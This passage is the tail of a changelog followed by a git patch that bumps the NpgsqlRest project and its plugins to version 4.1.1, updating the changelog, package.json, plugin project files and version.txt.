the `npgsqlrest` client (the executable and its Docker images) were upgraded to their latest versions. The `NpgsqlRest` library and the plugins have no dependency changes. + +| Package | Version | +|---|---| +| `Serilog.Sinks.OpenTelemetry` | 4.2.0 → 4.3.0 | +| `Microsoft.Extensions.Caching.Hybrid` | 11.0.0 → 11.0.1 | + +For builds of the client on .NET 10: `Microsoft.Extensions.Caching.Hybrid` 10.7.0 → 10.11.1, `Microsoft.AspNetCore.Authentication.JwtBearer` and `Microsoft.Extensions.Caching.StackExchangeRedis` 10.0.9 → 10.0.15. + +In the test project: `WireMock.Net` 2.31.0 → 2.35.0, and `Microsoft.AspNetCore.Mvc.Testing` 10.0.9 → 10.0.15 for .NET 10. The whole test suite passes on .NET 11 and on .NET 10. From 18a49ebc5f87b7378ebbf78c516208d6d29158e8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Wed, 2 Dec 2026 12:00:46 +0100 Subject: [PATCH 38/38] bump version 4.1.1 --- changelog/v4.1.1.md | 15 ++++++++++++++- npm/package.json | 2 +- .../NpgsqlRest.DartClient.csproj | 8 ++++---- plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj | 8 ++++---- .../NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj | 8 ++++---- .../NpgsqlRest.TsClient.csproj | 8 ++++---- version.txt | 2 +- 7 files changed, 32 insertions(+), 19 deletions(-) diff --git a/changelog/v4.1.1.md b/changelog/v4.1.1.md index 355e67c2..f2915c1f 100644 --- a/changelog/v4.1.1.md +++ b/changelog/v4.1.1.md @@ -1,6 +1,6 @@ # Changelog v4.1.1 -## Version [4.1.1](https://github.com/NpgsqlRest/NpgsqlRest/tree/4.1.1) (not released yet) +## Version [4.1.1](https://github.com/NpgsqlRest/NpgsqlRest/tree/4.1.1) (2026-12-02) [Full Changelog](https://github.com/NpgsqlRest/NpgsqlRest/compare/4.1.0...4.1.1) @@ -37,6 +37,7 @@ Patch release. What the generators say an endpoint answers with now matches what - [Known limits](#known-limits) - [For plugin authors](#for-plugin-authors) - [Dependencies](#dependencies) +- [NuGet Package Upgrades](#nuget-package-upgrades) ### Changes in responses @@ -185,3 +186,15 @@ Packages of the `npgsqlrest` client (the executable and its Docker images) were For builds of the client on .NET 10: `Microsoft.Extensions.Caching.Hybrid` 10.7.0 → 10.11.1, `Microsoft.AspNetCore.Authentication.JwtBearer` and `Microsoft.Extensions.Caching.StackExchangeRedis` 10.0.9 → 10.0.15. In the test project: `WireMock.Net` 2.31.0 → 2.35.0, and `Microsoft.AspNetCore.Mvc.Testing` 10.0.9 → 10.0.15 for .NET 10. The whole test suite passes on .NET 11 and on .NET 10. + +### NuGet Package Upgrades + +| Package | Version | +|---|---| +| `NpgsqlRest` | 4.1.0 → 4.1.1 | +| `NpgsqlRest.OpenApi` | 1.4.0 → 1.4.1 | +| `NpgsqlRest.TsClient` | 1.39.0 → 1.39.1 | +| `NpgsqlRest.DartClient` | 1.2.0 → 1.2.1 | +| `NpgsqlRest.Mcp` | 1.2.1 → 1.2.2 | + +The other plugins are unchanged. diff --git a/npm/package.json b/npm/package.json index 7d699b2b..a74ea1af 100644 --- a/npm/package.json +++ b/npm/package.json @@ -1,6 +1,6 @@ { "name": "npgsqlrest", - "version": "4.1.0", + "version": "4.1.1", "description": "Automatic REST API for PostgreSQL Databases Client Build", "scripts": { "postinstall": "node postinstall.js", diff --git a/plugins/NpgsqlRest.DartClient/NpgsqlRest.DartClient.csproj b/plugins/NpgsqlRest.DartClient/NpgsqlRest.DartClient.csproj index a53c27bb..88922ce6 100644 --- a/plugins/NpgsqlRest.DartClient/NpgsqlRest.DartClient.csproj +++ b/plugins/NpgsqlRest.DartClient/NpgsqlRest.DartClient.csproj @@ -26,10 +26,10 @@ true README.MD bin\$(Configuration)\$(AssemblyName).xml - 1.2.0 - 1.2.0 - 1.2.0 - 1.2.0 + 1.2.1 + 1.2.1 + 1.2.1 + 1.2.1 15 diff --git a/plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj b/plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj index d22c43e1..c9eff41c 100644 --- a/plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj +++ b/plugins/NpgsqlRest.Mcp/NpgsqlRest.Mcp.csproj @@ -26,10 +26,10 @@ true true true - 1.2.1 - 1.2.1 - 1.2.1 - 1.2.1 + 1.2.2 + 1.2.2 + 1.2.2 + 1.2.2 15 diff --git a/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj b/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj index 5913cab5..d4e7c8b6 100644 --- a/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj +++ b/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj @@ -28,10 +28,10 @@ true README.MD bin\$(Configuration)\$(AssemblyName).xml - 1.4.0 - 1.4.0 - 1.4.0 - 1.4.0 + 1.4.1 + 1.4.1 + 1.4.1 + 1.4.1 15 diff --git a/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj b/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj index 858a6ed3..9e69dfa7 100644 --- a/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj +++ b/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj @@ -26,10 +26,10 @@ true README.MD bin\$(Configuration)\$(AssemblyName).xml - 1.39.0 - 1.39.0 - 1.39.0 - 1.39.0 + 1.39.1 + 1.39.1 + 1.39.1 + 1.39.1 15 diff --git a/version.txt b/version.txt index 99eba4de..2582dddf 100644 --- a/version.txt +++ b/version.txt @@ -1 +1 @@ -4.1.0 \ No newline at end of file +4.1.1 \ No newline at end of file